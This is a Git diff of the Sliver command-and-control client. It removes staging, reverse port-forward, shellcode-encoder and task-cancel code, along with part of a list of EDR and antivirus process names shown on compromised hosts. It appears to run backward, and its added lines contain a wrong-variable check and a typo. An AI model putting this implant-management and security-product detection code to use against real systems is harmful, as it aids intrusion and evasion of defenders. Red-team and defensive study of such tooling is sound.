 	"strings"
 	"text/tabwriter"
-	"time"
 
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 		"ID",
 		"Hostname",
 		"Operating System",
-		"Locale",
 		"Sessions",
 		"Beacons",
 		"IOCs",
 		"Extensions",
-		"First Contact",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID,
 			host.Hostname,
 			host.OSVersion,
-			host.Locale,
 			hostSessions(host.HostUUID, con),
 			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
-			con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
 		})
 	}
 	return tw.Render()

client/command/info/info.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"time"
 
-	"github.com/bishopfox/sliver/client/command/use"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,25 +33,10 @@ import (
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var err error
-
-	// Check if we have an active target via 'use'
-	session, beacon := con.ActiveTarget.Get()
-
-	idArg := ctx.Args.String("session")
-	if idArg != "" {
-		// ID passed via argument takes priority
-		session, beacon, err = use.SessionOrBeaconByID(idArg, con)
-	} else {
-		if session == nil && beacon == nil {
-			session, beacon, err = use.SelectSessionOrBeacon(con)
-			if err != nil {
-				con.PrintErrorf("%s\n", err)
-				return
-			}
-		}
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
 	}
-
 	if session != nil {
 
 		con.Printf(console.Bold+"        Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +49,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, session.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, session.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, session.Version)
-		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, session.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, session.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
 		con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
-		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
-		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
 
 	} else if beacon != nil {
 
@@ -86,16 +67,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
-		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
-		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
-		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
-		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/https.go

@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
-		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/stage.go

@@ -22,7 +22,6 @@ import (
 	"bytes"
 	"compress/zlib"
 	"context"
-	"encoding/binary"
 	"net/url"
 	"strconv"
 	"strings"
@@ -40,7 +39,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
-	prependSize := ctx.Flags.Bool("prepend-size")
 	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
@@ -70,7 +68,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorrect length of AES Key\n")
+			con.PrintErrorf("Incorect length of AES Key\n")
 			return
 		}
 
@@ -119,9 +117,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	switch stagingURL.Scheme {
 	case "http":
-		if prependSize {
-			stage2 = prependPayloadSize(stage2)
-		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +133,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
-		if prependSize {
-			stage2 = prependPayloadSize(stage2)
-		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -166,8 +158,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
-		// Always prepend payload size for TCP stagers
-		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -194,10 +184,3 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
-
-func prependPayloadSize(payload []byte) []byte {
-	payloadSize := uint32(len(payload))
-	lenBuf := make([]byte, 4)
-	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
-	return append(lenBuf, payload...)
-}

client/command/portfwd/portfwd-add.go

@@ -19,10 +19,8 @@ package portfwd
 */
 
 import (
-	"fmt"
 	"log"
 	"net"
-	"regexp"
 	"time"
 
 	"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
 	"github.com/desertbit/grumble"
 )
 
-var (
-	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
-)
-
 // PortfwdAddCmd - Add a new tunneled port forward
 func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
+		con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
 	}
 	if session.Transport == "wg" {
-		con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
+		con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
 	}
 	remoteAddr := ctx.Flags.String("remote")
 	if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
 	}
 	bindAddr := ctx.Flags.String("bind")
-	if bindAddr == "" {
-		con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
+	if remoteAddr == "" {
+		con.PrintErrorf("Must specify a bind target host:port")
 		return
 	}
-	// If only a port is specified bind to localhost
-	if portNumberOnlyRegexp.MatchString(bindAddr) {
-		bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
-	}
 
 	tcpProxy := &tcpproxy.Proxy{}
 	channelProxy := &core.ChannelProxy{

client/command/portfwd/portfwd.go

@@ -53,7 +53,7 @@ func PrintPortfwd(con *console.SliverConsoleClient) {
 		"Remote Address",
 	})
 	for _, p := range portfwds {
-		tw.AppendRow(table.Row{
+		tw.AppendHeader(table.Row{
 			p.ID,
 			p.SessionID,
 			p.BindAddr,

client/command/processes/ps.go

@@ -39,11 +39,6 @@ var (
 		// Process Name -> [Color, Stylized Name]
 		"ccSvcHst.exe":                    {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
 		"cb.exe":                          {console.Red, "Carbon Black"},                 // Carbon Black
-		"RepMgr.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepUtils.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepUx.exe":                       {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"RepWSC.exe":                      {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
-		"scanhost.exe":                    {console.Red, "Carbon Black Cloud Sensor"},                 // Carbon Black Cloud Sensor
 		"MsMpEng.exe":                     {console.Red, "Windows Defender"},             // Windows Defender
 		"smartscreen.exe":                 {console.Red, "Windows Smart Screen"},         // Windows Defender Smart Screen
 		"CSFalconService.exe":             {console.Red, "CrowdStrike"},                  // Crowdstrike Falcon Service
@@ -51,28 +46,12 @@ var (
 		"bdservicehost.exe":               {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdagent.exe":                     {console.Red, "Bitdefender"},                  // Bitdefender (Total Security)
 		"bdredline.exe":                   {console.Red, "Bitdefender"},                  // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
-		"Deep Security Manager.exe":	   {console.Red, "Trend Micro"},		  // TM Deep Security Manager 
-		"coreServiceShell.exe":	   	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
-		"ds_monitor.exe":	   	   {console.Red, "Trend Micro"},		  // TM Deep Security Monitor
-		"Notifier.exe":	   		   {console.Red, "Trend Micro"},	    	  // TM Deep Security Notifier's process
-		"dsa.exe":	   		   {console.Red, "Trend Micro"},		  // TM Agent's main process
-		"ds_nuagent.exe":	   	   {console.Red, "Trend Micro"},	 	  // TM Advanced TLS traffic inspection
-		"coreFrameworkHost.exe":	   {console.Red, "Trend Micro"},		  // TM Anti-malware scan process
 		"SentinelServiceHost.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngine.exe":        {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgent.exe":               {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelAgentWorker.exe":         {console.Red, "SentinelOne"},                  // Sentinel One
 		"SentinelHelperService.exe":       {console.Red, "SentinelOne"},                  // Sentinel One
-		"SentinelBrowserNativeHost.exe":   {console.Red, "SentinelOne"},                  // Sentinel One
-		"SentinelUI.exe":                  {console.Red, "SentinelOne"},                  // Sentinel One
-		"Sysmon.exe":                  	   {console.Red, "Sysmon"},                  	  // Sysmon
-		"Sysmon64.exe":                    {console.Red, "Sysmon64"},                     // Sysmon64		
-		"CylanceSvc.exe":                  {console.Red, "Cylance"},                      // Cylance
-		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
-		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
-		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
-		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
 	}
 )
 

client/command/reaction/save.go

@@ -19,7 +19,6 @@ package reaction
 */
 
 import (
-	"fmt"
 	"os"
 
 	"github.com/AlecAivazis/survey/v2"
@@ -30,10 +29,9 @@ import (
 
 // ReactionSaveCmd - Manage reactions to events
 func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	reactionPath := GetReactionFilePath()
-	if _, err := os.Stat(reactionPath); !os.IsNotExist(err) {
+	if _, err := os.Stat(GetReactionFilePath()); !os.IsNotExist(err) {
 		confirm := false
-		prompt := &survey.Confirm{Message: fmt.Sprintf("Overwrite reactions (%s) on disk?", reactionPath)}
+		prompt := &survey.Confirm{Message: "Overwrite reactions on disk?"}
 		survey.AskOne(prompt, &confirm)
 		if !confirm {
 			return
@@ -43,6 +41,6 @@ func ReactionSaveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 	} else {
-		con.PrintInfof("Saved reactions to disk (%s)\n", reactionPath)
+		con.PrintInfof("Saved reactions to disk\n")
 	}
 }

client/command/rportfwd/portfwd-add.go

@@ -1,77 +0,0 @@
-package rportfwd
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"fmt"
-	"regexp"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-
-	"github.com/desertbit/grumble"
-)
-
-var (
-	portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
-)
-
-// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
-func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	if session.GetActiveC2() == "dns" {
-		con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
-	}
-
-	bindAddress := ctx.Flags.String("bind")
-	// Check if the bind address is just a port number, if no host is specified
-	// we just bind to all interfaces implant-side
-	if portNumberOnlyRegexp.MatchString(bindAddress) {
-		bindAddress = fmt.Sprintf(":%s", bindAddress)
-	}
-
-	forwardAddress := ctx.Flags.String("remote")
-	// Check if the forward address is just a port number, if no host is specified
-	// we just forward to localhost client-side
-	if portNumberOnlyRegexp.MatchString(forwardAddress) {
-		forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
-	}
-	rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
-		Request:        con.ActiveTarget.Request(ctx),
-		BindAddress:    bindAddress,
-		ForwardAddress: forwardAddress,
-	})
-	if err != nil {
-		con.PrintWarnf("%s\n", err)
-		return
-	}
-	printStartedRportFwdListener(rportfwdListener, con)
-}
-
-func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
-	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
-		con.PrintErrorf("%s", rportfwdListener.Response.Err)
-		return
-	}
-	con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
-}

client/command/rportfwd/portfwd-rm.go

@@ -1,55 +0,0 @@
-package rportfwd
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-
-	"github.com/desertbit/grumble"
-)
-
-// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
-func StopRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	listenerID := ctx.Flags.Int("id")
-	rportfwdListener, err := con.Rpc.StopRportFwdListener(context.Background(), &sliverpb.RportFwdStopListenerReq{
-		Request: con.ActiveTarget.Request(ctx),
-		ID:      uint32(listenerID),
-	})
-	if err != nil {
-		con.PrintWarnf("%s\n", err)
-		return
-	}
-	printStoppedRportFwdListener(rportfwdListener, con)
-}
-
-func printStoppedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
-	if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
-		con.PrintErrorf("%s", rportfwdListener.Response.Err)
-		return
-	}
-	con.PrintInfof("Stopped reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
-}

client/command/rportfwd/portfwd.go

@@ -1,74 +0,0 @@
-package rportfwd
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
-func RportFwdListenersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-
-	rportfwdListeners, err := con.Rpc.GetRportFwdListeners(context.Background(), &sliverpb.RportFwdListenersReq{
-		Request: con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintWarnf("%s\n", err)
-		return
-	}
-	PrintRportFwdListeners(rportfwdListeners, ctx.Flags, con)
-}
-
-func PrintRportFwdListeners(rportfwdListeners *sliverpb.RportFwdListeners, flags grumble.FlagMap, con *console.SliverConsoleClient) {
-	if rportfwdListeners.Response != nil && rportfwdListeners.Response.Err != "" {
-		con.PrintErrorf("%s\n", rportfwdListeners.Response.Err)
-		return
-	}
-
-	if len(rportfwdListeners.Listeners) == 0 {
-		con.PrintInfof("No reverse port forwards\n")
-		return
-	}
-
-	tw := table.NewWriter()
-	tw.SetStyle(settings.GetTableStyle(con))
-	tw.AppendHeader(table.Row{
-		"ID",
-		"Remote Address",
-		"Bind Address",
-	})
-	for _, p := range rportfwdListeners.Listeners {
-		tw.AppendRow(table.Row{
-			p.ID,
-			p.ForwardAddress,
-			p.BindAddress,
-		})
-	}
-	con.Printf("%s\n", tw.Render())
-}

client/command/sessions/sessions.go

@@ -130,9 +130,8 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	wideTermWidth := con.Settings.SmallTermWidth < width
 
-	if wideTermWidth {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -141,7 +140,6 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 			"Hostname",
 			"Username",
 			"Operating System",
-			"Locale",
 			"Last Message",
 			"Health",
 		})
@@ -179,7 +177,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 		username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
 
 		var rowEntries []string
-		if wideTermWidth {
+		if con.Settings.SmallTermWidth < width {
 			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
 				fmt.Sprintf(color+"%s"+console.Normal, session.Name),
@@ -188,8 +186,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
 				fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
 				fmt.Sprintf(color+"%s"+console.Normal, username),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
-				fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
-				con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
+				fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
 				burned + SessionHealth,
 			}
 		} else {

client/command/shikata-ga-nai/sgn.go

@@ -1,81 +0,0 @@
-package sgn
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/hex"
-	"io/ioutil"
-	"path/filepath"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-)
-
-// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
-func ShikataGaNaiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	shellcodeFile := ctx.Args.String("shellcode")
-	rawShellcode, err := ioutil.ReadFile(shellcodeFile)
-	if err != nil {
-		con.PrintErrorf("Failed to read shellcode file: %s", err)
-		return
-	}
-
-	arch := ctx.Flags.String("arch")
-	iterations := ctx.Flags.Int("iterations")
-	rawBadChars := ctx.Flags.String("bad-chars")
-	badChars, err := hex.DecodeString(rawBadChars)
-	if err != nil {
-		con.PrintErrorf("Failed to decode bad chars: %s", err)
-		return
-	}
-
-	con.PrintInfof("Encoding shellcode with %d iterations and %d bad chars\n", iterations, len(badChars))
-
-	shellcodeResp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
-		Encoder:      clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
-		Architecture: arch,
-		Iterations:   uint32(iterations),
-		BadChars:     badChars,
-		Data:         rawShellcode,
-		Request:      con.ActiveTarget.Request(ctx),
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" {
-		con.PrintErrorf("%s\n", shellcodeResp.Response.Err)
-		return
-	}
-
-	outputFile := ctx.Flags.String("save")
-	if outputFile == "" {
-		outputFile = filepath.Base(shellcodeFile)
-		outputFile += ".sgn"
-	}
-
-	err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0644)
-	if err != nil {
-		con.PrintErrorf("Failed to write shellcode file: %s", err)
-		return
-	}
-	con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputFile, len(shellcodeResp.Data))
-}

client/command/tasks/fetch.go

@@ -157,8 +157,6 @@ func emojiState(state string) string {
 		return "⏳"
 	case "failed":
 		return "❌"
-	case "canceled":
-		return "🚫"
 	default:
 		return "❓"
 	}
@@ -215,8 +213,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Exec commands
 	// ---------------------
-	case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
-		fallthrough
 	case sliverpb.MsgExecuteAssemblyReq:
 		execAssembly := &sliverpb.ExecuteAssembly{}
 		err := proto.Unmarshal(task.Response, execAssembly)

client/command/tasks/tasks-cancel.go

@@ -1,60 +0,0 @@
-package tasks
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-)
-
-// TasksCancelCmd - Cancel a beacon task before it's sent to the implant
-func TasksCancelCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	beacon := con.ActiveTarget.GetBeaconInteractive()
-	if beacon == nil {
-		return
-	}
-
-	idArg := ctx.Args.String("id")
-	var task *clientpb.BeaconTask
-	var err error
-	if idArg == "" {
-		beaconTasks, err := con.Rpc.GetBeaconTasks(context.Background(), &clientpb.Beacon{ID: beacon.ID})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		tasks := []*clientpb.BeaconTask{}
-		for _, task := range beaconTasks.Tasks {
-			if task.State == "pending" {
-				tasks = append(tasks, task)
-			}
-		}
-		if len(tasks) == 0 {
-			con.PrintErrorf("No pending tasks for beacon\n")
-			return
-		}
-
-		task, err = SelectBeaconTask(tasks)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.Printf(console.UpN+console.Clearln, 1)
-	} else {
-		task, err = con.Rpc.GetBeaconTaskContent(context.Background(), &clientpb.BeaconTask{ID: idArg})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-
-	if task != nil {
-		task, err := con.Rpc.CancelBeaconTask(context.Background(), task)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.PrintInfof("Task %s canceled\n", task.ID)
-	}
-}

client/command/tasks/tasks.go

@@ -97,8 +97,6 @@ func prettyState(state string) string {
 		return console.Bold + console.Orange + state + console.Normal
 	case "completed":
 		return console.Bold + console.Green + state + console.Normal
-	case "canceled":
-		return console.Bold + console.Gray + state + console.Normal
 	default:
 		return state
 	}

client/console/console.go

@@ -44,7 +44,6 @@ import (
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
-	"github.com/gofrs/uuid"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -92,7 +91,6 @@ type SliverConsoleClient struct {
 	App                      *grumble.App
 	Rpc                      rpcpb.SliverRPCClient
 	ActiveTarget             *ActiveTarget
-	EventListeners           *sync.Map
 	BeaconTaskCallbacks      map[string]BeaconTaskCallback
 	BeaconTaskCallbacksMutex *sync.Mutex
 	IsServer                 bool
@@ -122,7 +120,6 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			observers:  map[int]Observer{},
 			observerID: 0,
 		},
-		EventListeners:           &sync.Map{},
 		BeaconTaskCallbacks:      map[string]BeaconTaskCallback{},
 		BeaconTaskCallbacksMutex: &sync.Mutex{},
 		IsServer:                 isServer,
@@ -139,7 +136,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		con.App.SetPrompt(con.GetPrompt())
 	})
 
-	go con.startEventLoop()
+	go con.EventLoop()
 	go core.TunnelLoop(rpc)
 
 	err := con.App.Run()
@@ -149,7 +146,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 	return err
 }
 
-func (con *SliverConsoleClient) startEventLoop() {
+func (con *SliverConsoleClient) EventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		fmt.Printf(Warn+"%s\n", err)
@@ -161,10 +158,7 @@ func (con *SliverConsoleClient) startEventLoop() {
 			return
 		}
 
-		go con.triggerEventListeners(event)
-
 		// Trigger event based on type
-		echoed := false // Only echo the event once
 		switch event.EventType {
 
 		case consts.CanaryEvent:
@@ -174,7 +168,6 @@ func (con *SliverConsoleClient) startEventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
 			}
-			echoed = true
 
 		case consts.WatchtowerEvent:
 			msg := string(event.Data)
@@ -184,19 +177,15 @@ func (con *SliverConsoleClient) startEventLoop() {
